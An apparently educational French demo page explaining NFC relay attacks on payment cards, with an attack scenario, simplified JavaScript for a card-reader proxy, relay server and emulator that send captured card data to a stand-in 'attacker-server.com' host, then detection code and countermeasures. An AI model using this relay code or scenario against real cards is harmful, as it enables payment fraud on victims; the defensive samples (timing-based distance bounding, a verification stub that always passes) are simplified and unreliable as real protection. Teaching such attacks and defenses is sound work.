⚠️ Démo 2: Vulnérabilités NFC - Relay Attack

Comprendre et détecter les attaques par relais

🎯 Qu'est-ce qu'une Relay Attack ?

Une Relay Attack (attaque par relais) est une technique où l'attaquant intercepte la communication entre une carte NFC et un lecteur, puis la retransmet à distance. Cela permet de voler des données ou d'effectuer des transactions sans que la victime ne s'en aperçoive.

📱 Victime

👤

Carte NFC dans le portefeuille

📡

🎭 Attaquant

💻

Dispositif de relais
(Proxmark, smartphone modifié)

📡

🏪 Terminal de paiement

🏧

Terminal cible

⚡ Scénario d'Attaque

Étape 1: L'attaquant se place près de la victime (métro, café, file d'attente)

Étape 2: Un lecteur NFC caché (dans un sac) capture les signaux de la carte

Étape 3: Les données sont transmises en temps réel à un complice

Étape 4: Le complice utilise un émulateur NFC devant un terminal de paiement

Étape 5: La transaction est approuvée comme si la carte était présente

💻 Code Conceptuel d'une Relay Attack

Voici un exemple simplifié montrant comment fonctionne une attaque par relais :

1️⃣ Dispositif Lecteur (côté victime)

// reader.js - Dispositif près de la victime class NFCReaderProxy { constructor(relayServerUrl) { this.serverUrl = relayServerUrl; this.websocket = null; } async start() { // Connexion au serveur de relais this.websocket = new WebSocket(this.serverUrl); // Initialisation du lecteur NFC const ndef = new NDEFReader(); await ndef.scan(); ndef.addEventListener("reading", async ({ message, serialNumber }) => { console.log("💳 Carte détectée:", serialNumber); // Capture de toutes les données const cardData = { uid: serialNumber, timestamp: Date.now(), records: message.records.map(r => ({ type: r.recordType, data: Array.from(new Uint8Array(r.data)) })) }; // ⚠️ Transmission en temps réel au complice this.websocket.send(JSON.stringify({ action: 'relay_nfc_data', data: cardData })); console.log("📡 Données relayées au serveur"); }); } } // Utilisation const proxy = new NFCReaderProxy('wss://attacker-server.com/relay'); proxy.start();

2️⃣ Serveur de Relais

// relay-server.js - Serveur Node.js de l'attaquant const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 8080 }); const clients = { reader: null, // Dispositif près de la victime emulator: null // Dispositif près du terminal }; wss.on('connection', (ws, req) => { const clientType = new URL(req.url, 'http://localhost').searchParams.get('type'); if (clientType === 'reader') { clients.reader = ws; console.log('📱 Lecteur connecté'); } else if (clientType === 'emulator') { clients.emulator = ws; console.log('💻 Émulateur connecté'); } ws.on('message', (data) => { const message = JSON.parse(data); if (message.action === 'relay_nfc_data' && clients.emulator) { // Retransmission instantanée vers l'émulateur clients.emulator.send(JSON.stringify(message.data)); console.log('⚡ Données relayées: ' + message.data.uid); } }); });

3️⃣ Émulateur NFC (côté terminal)

// emulator.js - Dispositif près du terminal de paiement class NFCEmulator { constructor(relayServerUrl) { this.serverUrl = relayServerUrl; this.websocket = null; } async start() { // Connexion au serveur this.websocket = new WebSocket( `${this.serverUrl}?type=emulator` ); this.websocket.onmessage = async (event) => { const cardData = JSON.parse(event.data); console.log("📥 Données reçues de la victime:", cardData.uid); // Émulation de la carte NFC await this.emulateCard(cardData); }; } async emulateCard(cardData) { // Utilisation de l'API HCE (Host Card Emulation) sur Android // ou d'un dispositif matériel comme Proxmark3 console.log("🎭 Émulation de la carte:", cardData.uid); // Le terminal de paiement pense communiquer avec la vraie carte // alors qu'il communique avec notre émulateur // ⚠️ Transaction effectuée sans que la victime le sache } } const emulator = new NFCEmulator('wss://attacker-server.com/relay'); emulator.start();

⚠️ Impact de l'Attaque

  • ✓ Distance illimitée entre victime et terminal
  • ✓ Fonctionne même avec des cartes "sécurisées"
  • ✓ Pas de détection immédiate par la victime
  • ✓ Peut bypasser les limites de montant sans contact
  • ✓ Applicable aux cartes de paiement, badges d'accès, etc.

🛡️ Contre-mesures et Défenses

1. Détection par Latence

Mesurer le temps de réponse de la carte. Un délai anormal indique un relais.

// defense-latency.js class RelayAttackDetector { constructor(maxLatencyMs = 50) { this.maxLatency = maxLatencyMs; } async detectRelay(nfcReader) { const startTime = performance.now(); // Envoi d'un challenge à la carte const challenge = this.generateChallenge(); const response = await nfcReader.sendCommand(challenge); const latency = performance.now() - startTime; if (latency > this.maxLatency) { return { relayDetected: true, latency: latency, message: `⚠️ RELAY ATTACK DÉTECTÉ! Latence: ${latency}ms` }; } return { relayDetected: false, latency: latency, message: `✅ Communication normale. Latence: ${latency}ms` }; } generateChallenge() { // Génération d'un challenge cryptographique aléatoire const challenge = new Uint8Array(16); crypto.getRandomValues(challenge); return challenge; } } // Utilisation const detector = new RelayAttackDetector(50); // 50ms max const result = await detector.detectRelay(nfcReader); console.log(result.message);

2. Distance Bounding Protocol

Protocole cryptographique qui vérifie la distance physique entre la carte et le lecteur.

// distance-bounding.js class DistanceBoundingProtocol { constructor() { this.speedOfLight = 299792458; // m/s this.maxDistance = 0.1; // 10 cm } async verify(card) { const rounds = 10; let totalTime = 0; for (let i = 0; i < rounds; i++) { const nonce = this.generateNonce(); const t1 = performance.now(); const response = await card.rapidBitExchange(nonce); const t2 = performance.now(); totalTime += (t2 - t1); if (!this.verifyResponse(nonce, response)) { return { secure: false, reason: "Invalid response" }; } } const avgTime = totalTime / rounds; const distance = (avgTime / 1000) * this.speedOfLight / 2; if (distance > this.maxDistance) { return { secure: false, distance: distance, message: `⚠️ Distance suspecte: ${distance.toFixed(4)}m` }; } return { secure: true, distance: distance, message: `✅ Distance vérifiée: ${distance.toFixed(4)}m` }; } generateNonce() { return Math.floor(Math.random() * 0xFFFF); } verifyResponse(nonce, response) { // Vérification cryptographique de la réponse return true; // Simplifié } }

3. Protection par Blindage Physique

  • ✓ Portefeuilles blindés RFID
  • ✓ Étuis de protection métallisés
  • ✓ Désactivation du sans-contact

4. Authentification Multi-Facteurs

  • ✓ PIN pour les transactions importantes
  • ✓ Biométrie (empreinte digitale)
  • ✓ Confirmation sur smartphone

5. Tokenisation

  • ✓ Utiliser des tokens à usage unique
  • ✓ Pas de transmission du vrai numéro de carte
  • ✓ Limitation dans le temps et l'espace